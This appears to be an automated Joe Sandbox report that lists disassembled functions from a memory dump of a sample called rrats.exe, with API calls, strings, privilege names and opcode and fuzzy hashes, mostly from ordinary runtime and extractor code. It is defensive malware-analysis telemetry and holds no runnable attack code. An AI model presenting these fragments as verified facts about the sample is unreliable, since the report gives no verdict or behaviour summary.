Opcode ID: 1abb006dd0b90c6dafa6c5b975f0c25d1f392bbf8cbd535e2e5c41e0e5876e49
Instruction ID: 28c4c29bdd070b225f58ec9bb95bf3b17e533bf6c5a75b0a75da8c4e012b81f2
Opcode Fuzzy Hash: 1abb006dd0b90c6dafa6c5b975f0c25d1f392bbf8cbd535e2e5c41e0e5876e49
Instruction Fuzzy Hash: D5F06232A01218BFCB11AFA0DC09F9EBFB4EF44715F0181AEF805A2261DB309F40CA91

Function 00CAF2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00CB081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CB0836
Part of subcall function 00CB081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CAF2D8,Crypt32.dll,00000000,00CAF35C,?,?,00CAF33E,?,?,?), ref: 00CB0858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00CAF2E4
GetProcAddress.KERNEL32(00CE81C8,CryptUnprotectMemory), ref: 00CAF2F4

Strings

Crypt32.dll, xrefs: 00CAF2CE
CryptUnprotectMemory, xrefs: 00CAF2EA
CryptProtectMemory, xrefs: 00CAF2DE

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 31615e601d845bf366671cd0f1c322884fa74fc3beb4601ca3c7ac3b0770d98b
Instruction ID: 9c2f9bae2332ffe9c56ff24ddc06d72be09da4a63fa0e76a648bca5be565db00
Opcode Fuzzy Hash: 31615e601d845bf366671cd0f1c322884fa74fc3beb4601ca3c7ac3b0770d98b
Instruction Fuzzy Hash: 06E0DF74A017829ECB209BB4984CB027BD46F04704F14C82EE1DA93250C7B0E2408B21

Function 00CC2BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00CC2CA1
___AdjustPointer.LIBCMT ref: 00CC2CC4
_abort.LIBCMT ref: 00CC2D12
___AdjustPointer.LIBCMT ref: 00CC2D60

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 36f50f7580eb2a7f84101a060b748183aa8a899630c01de5ffd0478a18021cd1
Instruction ID: 77b8e03d1baa0dae9727ea2e62b0f9c5191eb5af56ca597b3f63b58f614f12e1
Opcode Fuzzy Hash: 36f50f7580eb2a7f84101a060b748183aa8a899630c01de5ffd0478a18021cd1
Instruction Fuzzy Hash: 1851C171600212AFEB298F14D845FBAB7B4FF64710F24452EEC16876A1D731EE81E790

Function 00CCBF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00CCBF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CCBF5C

Part of subcall function 00CC8E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00CC4286,?,0000015D,?,?,?,?,00CC5762,000000FF,00000000,?,?), ref: 00CC8E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00CCBF82
_free.LIBCMT ref: 00CCBF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00CCBFA4

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: f81ba7c967710e0ed18ee8beeb3009a3ed2a8c41340fdf2c1d660bbf5159db8b
Instruction ID: 3a83af7ce3042abd76038bbabfae662f65e83949e84a153370c5a0c65a306d11
Opcode Fuzzy Hash: f81ba7c967710e0ed18ee8beeb3009a3ed2a8c41340fdf2c1d660bbf5159db8b
Instruction Fuzzy Hash: 3301D87AA022127F232116FA9C4EF7F6B6DDEC2B61714011EF904C2200EF608D0195B1

Function 00CC9869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00CC91AD,00CCB188,?,00CC9813,00000001,00000364,?,00CC40EF,?,?,00CE1098), ref: 00CC986E
_free.LIBCMT ref: 00CC98A3
_free.LIBCMT ref: 00CC98CA
SetLastError.KERNEL32(00000000,?,00CE1098), ref: 00CC98D7
SetLastError.KERNEL32(00000000,?,00CE1098), ref: 00CC98E0

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: f6cc1fa2b6778f19fa2df099bf66aa9654f3e66e590224dc3dfd053d9461df16
Instruction ID: 2662498e36d09c1808ef2d8d77581b6db7878228efaf491d919b3d110a581d1d
Opcode Fuzzy Hash: f6cc1fa2b6778f19fa2df099bf66aa9654f3e66e590224dc3dfd053d9461df16
Instruction Fuzzy Hash: FB01D1361466026BC2126369EC8DF2F2669DBD2770B21013EF525971E2EE348E05A265

Function 00CB0EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00CB11CF: ResetEvent.KERNEL32(?), ref: 00CB11E1
Part of subcall function 00CB11CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00CB11F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00CB0F21
CloseHandle.KERNEL32(?,?), ref: 00CB0F3B
DeleteCriticalSection.KERNEL32(?), ref: 00CB0F54
CloseHandle.KERNEL32(?), ref: 00CB0F60
CloseHandle.KERNEL32(?), ref: 00CB0F6C

Part of subcall function 00CB0FE4: WaitForSingleObject.KERNEL32(?,000000FF,00CB1101,?,?,00CB117F,?,?,?,?,?,00CB1169), ref: 00CB0FEA
Part of subcall function 00CB0FE4: GetLastError.KERNEL32(?,?,00CB117F,?,?,?,?,?,00CB1169), ref: 00CB0FF6

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: d1e31baf1df69b087d1612787caf9c437405a7677064bf9eeb6250611bd62428
Instruction ID: 3e46236e75f5b444c271fd2d9f4df6e5fcf6bf122817922fe5f6cf1402ac45c4
Opcode Fuzzy Hash: d1e31baf1df69b087d1612787caf9c437405a7677064bf9eeb6250611bd62428
Instruction Fuzzy Hash: 8D017172501784EFC7229B64DC84BCAFBA9FB08710F10092EF26B92160CB757A45DB54

Function 00CCC7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00CCC817

Part of subcall function 00CC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?), ref: 00CC8DE2
Part of subcall function 00CC8DCC: GetLastError.KERNEL32(?,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?,?), ref: 00CC8DF4

_free.LIBCMT ref: 00CCC829
_free.LIBCMT ref: 00CCC83B
_free.LIBCMT ref: 00CCC84D
_free.LIBCMT ref: 00CCC85F

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b6f4c9139a27ecfc9b845ae5055163ff170a773b6b67a5a9c24462b3c2a6f084
Instruction ID: d4256cc0cd3751cb87cc4cc0ae74544b5621e2d75f5be9096a5f0f594c33a364
Opcode Fuzzy Hash: b6f4c9139a27ecfc9b845ae5055163ff170a773b6b67a5a9c24462b3c2a6f084
Instruction Fuzzy Hash: CBF01D32905211ABC720EB68F8C6F1B73E9AA00714765181EF11DDB9D2CB70FD80DB64

Function 00CB1FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CB1FE5
_wcslen.LIBCMT ref: 00CB1FF6
_wcslen.LIBCMT ref: 00CB2006
_wcslen.LIBCMT ref: 00CB2014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00CAB371,?,?,00000000,?,?,?), ref: 00CB202F

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 36cd688e7588aeab25b5528f9426693eebd6b0a3a9d04e9ba8da288f3fe00051
Instruction ID: 149d326dd2253b2c6aba1ed4a8a97a0384ea746fb3a487cad80c6e6fcf056488
Opcode Fuzzy Hash: 36cd688e7588aeab25b5528f9426693eebd6b0a3a9d04e9ba8da288f3fe00051
Instruction Fuzzy Hash: F9F01D32008058BBCF226F51FC09ECE7F26EB44760F11C41AF61A9B062CB729661E790

Function 00CC8900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CC891E

Part of subcall function 00CC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?), ref: 00CC8DE2
Part of subcall function 00CC8DCC: GetLastError.KERNEL32(?,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?,?), ref: 00CC8DF4

_free.LIBCMT ref: 00CC8930
_free.LIBCMT ref: 00CC8943
_free.LIBCMT ref: 00CC8954
_free.LIBCMT ref: 00CC8965

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 71a481b79f49b5145e4a322f4c5a7bb1662e42cceb923f66078ccf27d15b08b0
Instruction ID: 06d4b425d8ba2133287e5dbe975a36993440e63ea6eedb464d8d67d1c2af345a
Opcode Fuzzy Hash: 71a481b79f49b5145e4a322f4c5a7bb1662e42cceb923f66078ccf27d15b08b0
Instruction Fuzzy Hash: 03F01775C136238BC6067F28FC06B2A3BA1F724720342050AF119967B1CB324949ABA5

Function 00CB15FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CB17BC
_swprintf.LIBCMT ref: 00CB186B

Strings

%s: %s, xrefs: 00CB17CB
%ls, xrefs: 00CB1641, 00CB1657

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 3f9a54ec706e61dbfe049b0fa2042a74e79abf30e91a59830b9a530e7c5afee6
Instruction ID: 4e9a906eb6e86c4aa395811116793f17ef392ae75f239cd6c1490cd396be7a31
Opcode Fuzzy Hash: 3f9a54ec706e61dbfe049b0fa2042a74e79abf30e91a59830b9a530e7c5afee6
Instruction Fuzzy Hash: 81513931288304F6E6211A918C66FF67365FB16B04FAC4916FFA6750E1C9B3A910B71A

Function 00CC7F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\rrats.exe,00000104), ref: 00CC7FAE
_free.LIBCMT ref: 00CC8079
_free.LIBCMT ref: 00CC8083

Strings

C:\Users\user\Desktop\rrats.exe, xrefs: 00CC7FA5, 00CC7FAC, 00CC7FDB, 00CC8013

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\rrats.exe
API String ID: 2506810119-1722972100
Opcode ID: 4ad397ba5eddaba49315c695020a5fb5e4d87732f4b3870655ea60cdf9cc68d4
Instruction ID: 7c719b0d90232c20a0a342ea9950f296ab623e23a7428ee04fa5c129e937f93a
Opcode Fuzzy Hash: 4ad397ba5eddaba49315c695020a5fb5e4d87732f4b3870655ea60cdf9cc68d4
Instruction Fuzzy Hash: CB318F71A00218AFDB21DF99D885FAFBBB8EB85310F10416EF51897211DB718E49DB61

Function 00CC31D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00CC31FB
_abort.LIBCMT ref: 00CC3306

Strings

RCC, xrefs: 00CC3215
MOC, xrefs: 00CC320D

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: bbf523ad8996d4fe7ff2565f52b1983d9bc6023f902bbc88c963b2f9a4403146
Instruction ID: 9f9a71642d10421343a15911a4a03655eb7c39fbb4de31f2c4ad2f33bc881ee9
Opcode Fuzzy Hash: bbf523ad8996d4fe7ff2565f52b1983d9bc6023f902bbc88c963b2f9a4403146
Instruction Fuzzy Hash: 64415672900289AFCF15DF98DC81FEEBBB5BF08304F188059F915A7262D335AA51DB90

Function 00CA7401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA7406

Part of subcall function 00CA3BBA: __EH_prolog.LIBCMT ref: 00CA3BBF

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000,00000000), ref: 00CA74CD

Part of subcall function 00CA7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00CA7AAB
Part of subcall function 00CA7A9C: GetLastError.KERNEL32 ref: 00CA7AF1
Part of subcall function 00CA7A9C: CloseHandle.KERNEL32(?), ref: 00CA7B00

Strings

SeSecurityPrivilege, xrefs: 00CA744B
SeRestorePrivilege, xrefs: 00CA7460

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: f6fc30482c65b125f74af4b1eb3d24baee7f595ebc4c30b574322216c4af6772
Instruction ID: 18feaabfaf4649f9179b5a63a2102a57ca59cf2a9b9de2239898d14c6fa22a68
Opcode Fuzzy Hash: f6fc30482c65b125f74af4b1eb3d24baee7f595ebc4c30b574322216c4af6772
Instruction Fuzzy Hash: D831B2B1D0429AAEDF11EBA4DC45BEE7BA9BF0A308F044116F815A7282C7748B44DB61

Function 00CBAD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00CA1316: GetDlgItem.USER32(00000000,00003021), ref: 00CA135A
Part of subcall function 00CA1316: SetWindowTextW.USER32(00000000,00CD35F4), ref: 00CA1370

EndDialog.USER32(?,00000001), ref: 00CBAD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00CBADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00CBADC2

Strings

ASKNEXTVOL, xrefs: 00CBAD28

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: c1705f817c5b065e75f76dece096c470d4d8049d1f19e3bac4f77972a1614bde
Instruction ID: 680eefd3f54c42575355d2a13b01450a714dba3d5cac71e47a408d08e7a74c2f
Opcode Fuzzy Hash: c1705f817c5b065e75f76dece096c470d4d8049d1f19e3bac4f77972a1614bde
Instruction Fuzzy Hash: B5118E32240200BFE7119FB9DC45FEA7B6DAB4A742F400510F285EB6A0C762AA159736

Function 00CAD8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00CAD954
_strncpy.LIBCMT ref: 00CAD99A

Part of subcall function 00CB1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,00CE1030,?,00CAD928,00000000,?,00000050,00CE1030), ref: 00CB1DC4

Strings

$%s, xrefs: 00CAD949
@%s, xrefs: 00CAD93E

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: f62116c7d6ea670fe366cbade8961c3aabde9d8f7ee0169b9ee8000a91c03cb7
Instruction ID: 8262c66e347a6dbbd2603ca57d35e7488e3e0309336fb9266e1f3ee48ec31776
Opcode Fuzzy Hash: f62116c7d6ea670fe366cbade8961c3aabde9d8f7ee0169b9ee8000a91c03cb7
Instruction Fuzzy Hash: DE21D57294024DAEDB20EEB4CC05FDF3BA8AF02308F040022FA22965A2E631D648DB51

Function 00CB0E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00CAAC5A,00000008,?,00000000,?,00CAD22D,?,00000000), ref: 00CB0E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00CAAC5A,00000008,?,00000000,?,00CAD22D,?,00000000), ref: 00CB0E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00CAAC5A,00000008,?,00000000,?,00CAD22D,?,00000000), ref: 00CB0E9F

Strings

Thread pool initialization failed., xrefs: 00CB0EB7

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: ee5a0956578e84c6126998c001c68de95831d678edf8404ee8578e174488d58f
